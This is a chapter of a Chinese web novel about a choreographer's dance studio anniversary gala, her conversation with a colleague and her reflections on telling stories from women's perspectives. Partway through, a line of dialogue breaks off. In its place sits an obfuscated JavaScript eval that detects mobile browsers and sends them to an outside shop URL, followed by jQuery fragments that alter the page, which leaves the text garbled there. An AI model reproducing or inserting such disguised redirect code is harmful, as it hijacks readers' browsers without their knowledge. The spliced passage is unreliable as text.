默认冷灰
24号文字
方正启体

143. 我的地盘

作者:叔戊本书字数:K更新时间:
    彩色光斑跟随台上台下跳跃闪动,段野情不自禁看向姜与,她看着舞台上的女孩子们笑眼中全是自豪,还有……


    段野怔住,“你,哭了?”


    喧闹,喧嚣,喝彩声雷动。过了好几秒姜与似乎才反应过来段野在说什么。笑容凝滞,她眨眨眼睛,抬手拇指关节在眼角接住了一滴泪。看着流进掌心的那滴液体,看看台上,眼前逐渐雾蒙。


    “靠。”她接过段野递来的纸巾。就说喝中药管用吧!


    在一片奇形怪状的嚎叫声中演出谢幕。大家正在分头收拾着满地服装道具,台下有人突然大喝,“女人牛逼!”,又恰好仿真婴儿被触动了笑笑开关,鬼畜的电子咯咯声霎时响彻天地。


    观众爆笑。


    “前辈看来非常满意这个评价啊。”主持人老练接梗,“看打扮前辈是,组合忙内?”


    刚才表演变装环节小婴儿也被褪去了襁褓,现在正穿着同样的黑色短袖短裤白袜,表情非常专业。


    抱着娃的“妈妈”罗可桢凑近话筒,挥挥孩子手,“大家好我是20后dancer虎婋婋,我爱你们,请多多冠姓吧!谢谢。”


    观众席又是一阵哄笑。


    所有人捡完东西平复呼吸回到到主持人身边,第一反应却是搜索台下寻找姜与,对上十双,嗯,十一双眼睛,姜与回给她们两个大大的向上拇指。照例要聊聊创作,女孩们示意姜与上台,姜与却摇头。这是属于她们的舞台。


    姜与虽然没上去,访谈环节结束主持人却也没放过她。


    “刚在台下听见有人评价这个节目抽象。我说还行,主要是舞蹈抽象,也不知道谁编的……谁?”他戏瘾发作却居然有人积极配合,“哪儿?第一排?中间戴帽子那位是吗?”做作的提示,好些人开始顺着他的视线朝第一排张望,“那不奇怪了。”他假装恍然,“这位编舞老师本人就挺抽象的。”


    特邀嘉宾老童,也是姜与认识的老熟人,找他来主持一方面是不用花钱,另一方面有他在场子很难冷,因为嘴贫。


    哈哈哈哈。


    虽然姜与不明白有什么可笑的,但全场就是很给老童面子地笑了。


    接下来他跟钢炮文女士学了几个抽象的舞蹈动作,控场直到下一环节准备就绪,女孩们这才下台。


    “这个动作太酷了,”老童又抽了一下,“嗯,特别好。是吧。女孩儿们勇猛地战斗野兽,男孩儿们穿着高跟鞋在旁边twerk(电臀),啦啦队。跟我昨天看的动物世界一模一样。真的,你们别笑。叫环尾什么猴①。每年母猴儿都要展开家族战争夺王位,然后男猴儿就跟旁边儿蹲着,世俗和他们没关系。晒晒日光浴,没事儿撸两把自己的尾巴,找根木棍跳钢管,木管儿舞,色诱,给人battle的母猴儿眼睛都看直了架都不打了……多好啊,是吧。在舞蹈的世界里每个人都能做自己。猴儿也能。”


    哈哈哈哈。


    …………


    舞台结束议论未止。


    “你觉得跳绳是什么意思?”


    “我觉得是束缚吧,扔了之后所有人才觉醒了么。”


    “但是后来不是又捡起来了?。”


    “不知道欸。反正跳绳跟其他人是对照吧,从服装上来看。”


    “我觉得是在说做自己。”


    “哪里绊倒从哪里爬起来。”


    “那跳到一半不跳了是什么?实在不行该摆烂摆烂吗。”


    “不钻牛角尖也是一种态度了。”


    …………


    “跳绳有什么含义?”段野也好奇。


    含义吗。姜与笑。始末的跳绳音效算是这首歌的一个标志,加上鼓点loop,吉他riff,整首曲子有着极强的秩序感。所以蓝序……


    “蓝序没空只排了最后的齐舞,但她们就,谁都不能少嘛。你姑且可以当她是行为艺术或者一个,水印。”


    “所以其实没有意义吗。”


    “就算没有阅读理解,”姜与情绪莫测,“每个人能读出自己的答案,不是很有意思吗?”


    …………


    “我还以为上次那个民民也是A组的。”


    “是啊。”


    “嗯?哪个是她?”


    “李珩喆。”


    “为什么叫民民?”


    “一开始大家叫她吉吉,然后吉吉国王,国王,姓李的,世民。”


    民民。


    …………


    “有人问过你为什么总讲女性视角吗?”


    毕竟这两年女性议题变得很,敏感,具有争议或者倍受非议,谈“女”就会被打上蹭热点、博流量、吃红利、对立的标签,甚至还有人提出质疑:“为什么总讲女性而不去讲人性”。


    “哈?”姜与本能的不屑,“我一女的不讲女性视角讲什么?蟑螂视角吗?”


    中国讲列强视角?


    牛马讲健林视角?


    大脑讲睾|丸视角?


    哦,原来女人的视角不是人的视角啊。


    每当你听故事,开始以为在讲人,人的故事人的困境,听着听着突然发现讲的只是男人,男人的故事男人的困境,那一刻你一下子沦为了被讨论被凝视被动的客体,这个故事和你没有关系。


    他说“厌倦了川流不息地吃饭。”


    却没有人说“厌倦了川流不息地做饭。”


    菜很好吃,但你在厨房。


    你在盘子里。


    不。


    不不。


    我不仅会做饭,我还坐在桌上吃好饭,吃完饭我还要发表点评。


    去说。


    不是为了让男人理解而退让,是为了让女孩听到后有勇气去争取。


    “没有啦,”她又变成中庸,“圈子里还是年轻人居多嘛,思想没那么,拘束。而且跳舞的人其实相对而言也简单一点吧。一帮一天到晚喊屁死安得辣舞的人,没那么重戾气。只要你舞跳得帅气没谁会吝啬掌声和欢呼。”


    “这样吗。”


    当然不止。


    只见姜与霸总邪魅勾唇,“我是老板好吗。”


    这是她的地盘,这桌席她坐主位,她是这场子里的最高话语权,她爱讲什么讲什么。不乐意?有屁憋着。


    .


    所有节目表演结束,最后是AdLib的生日宴,巨型色素大蛋糕被推上来,全场歌唱了蛋糕分了,辛勤的大屏幕又开始播放周年庆纪录片--AdLib成长史。


    从一个镜子加音箱加合成地板就是全部的小教室,到与隔壁铺头合并成一个设备专业齐全风格独特的大工作室,再到月城分店开张。学生从寥寥几十到成百上千,履历一页一本到成绩一樽一座。十二年。时间线来到最近,是大家为了周年庆夜以继日的排练记录,那个不算大的舞房成就了今天一整台盛典。视频里都是熟人观众看得津津乐道,画面切换,夜深人静的舞房里只有三个人,蓝序书清,和一个戴着氧气鼻管正在示范怎么原地起飞的女人……


    “卧靠这么硬核。”看客又炸了锅。


    还有性缘脑的,“哦姐姐


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152129|185824||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    连人鱼线都是爱我的形状。”


    …………


    这个狗狗祟祟的拍摄角度,姜与缓缓转过头,“你干的?”


    段野面不改色。他又不是视频的生产者,他只是个素材的搬运工。


    “我昨天审片子的时候还没有这一段。”很好她的好员工里居然出现了卧底。谁?小毛还是辉哥还是那俩小崽子?


    段野把她疑神疑鬼的脸推回去,“他们就是觉得你可以活得再嚣张一点。”


    他们?姜与抱起了手臂,看来还是团伙作案,既然如此那下个月来一次史无前例的工资拖欠吧……罢了。


    视频最后是八方伙伴发来的祝贺短片,轮到一个小女生时又掀起了一波骚动。


    “是有名的人吗?”段野问。


    “算吧。最近有一点小火的,偶像?”


    “她也在你这里学过舞?”


    “没有没有,是她小时候我跟她一起上过课。算起来我应该叫她师姐。”


    “……”


    最后的最后,结尾致辞才是姜与上台的时刻。她在全场瞩目中一步步登上舞台,手握麦克风站在那里是和其他人全然不同的姿态。她说,这个世界到处都是约束和规矩,唯有在舞蹈里才能随心所欲。“所以有了AdLib。”,她说,希望这里永远是纯粹的庇佑。


    掌声、鲜花、欢呼。她站在舞台上立于光之下。这里的一切因她而诞生,这是她的领地,她的地盘,是她亲手筑起的异托邦。


    .


    夕阳落幕庆典散场。


    还有很多学生在拍照,姜与送走最后几个友人,在剧场门口的台阶上坐下来。


    “如果。”段野递给她一瓶冰饮。


    “嗯?”


    “如果没有生病,如果肺还好好的,你会很厉害吧。”


    “会吧。”瓶口到嘴边姜与停顿,“必须的。”


    段野笑,“外科青年才俊slash(/)舞蹈家slash新锐品牌主理人slash,UFC冠军slash多语言博主,还有什么?哦,青年杰出教师、阶级斗士……”


    姜与差点饮料就要喷出来。


    “还有呢你还会什么?”


    “嗯。”姜与看着远方斜阳,“驯狗。”


    “汪汪。”他倒是配合。


    “其实我还有一个摇滚梦。”


    “那真的很斜杠青年了。”


    姜与笑。


    玩笑归玩笑,如果她健健康康的。


    “能做的肯定比现在多。”


    “嗯。”段野也眺望着夕阳,“那时候就没我什么事了。”


    姜与扭头看他。


    “智者不入爱河。男人只会影响你拔剑的速度。搞男人不如搞事业。不都这样说吗。”段野努努嘴,“现在的人生还是太委屈你了。”


    “我是什么很废的人吗一次只能搞一个?”姜与毫无波澜,“搞你跟搞事业存在什么矛盾吗?”


    恋爱和事业有什么必然关系吗?


    谈恋爱的反义词是不谈恋爱,搞事业的反义词是不搞事业。


    换句话,谁说爱情和事业是对立的了?


    对,是要鼓励女性拥有一份自己的事业没错,因为经济独立才有底气,才有拒绝和选择的权利,才能不受制于婚姻不被困于厨房家庭。可鼓励独立自主不是让人摆脱情场转头深陷职场啊。不挖野菜了就去给别人种野菜?给男人死心塌地做保姆和给老板死心塌地做牛马有什么区别?虏隶主换来换去还不都是在为他人服务卖命?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)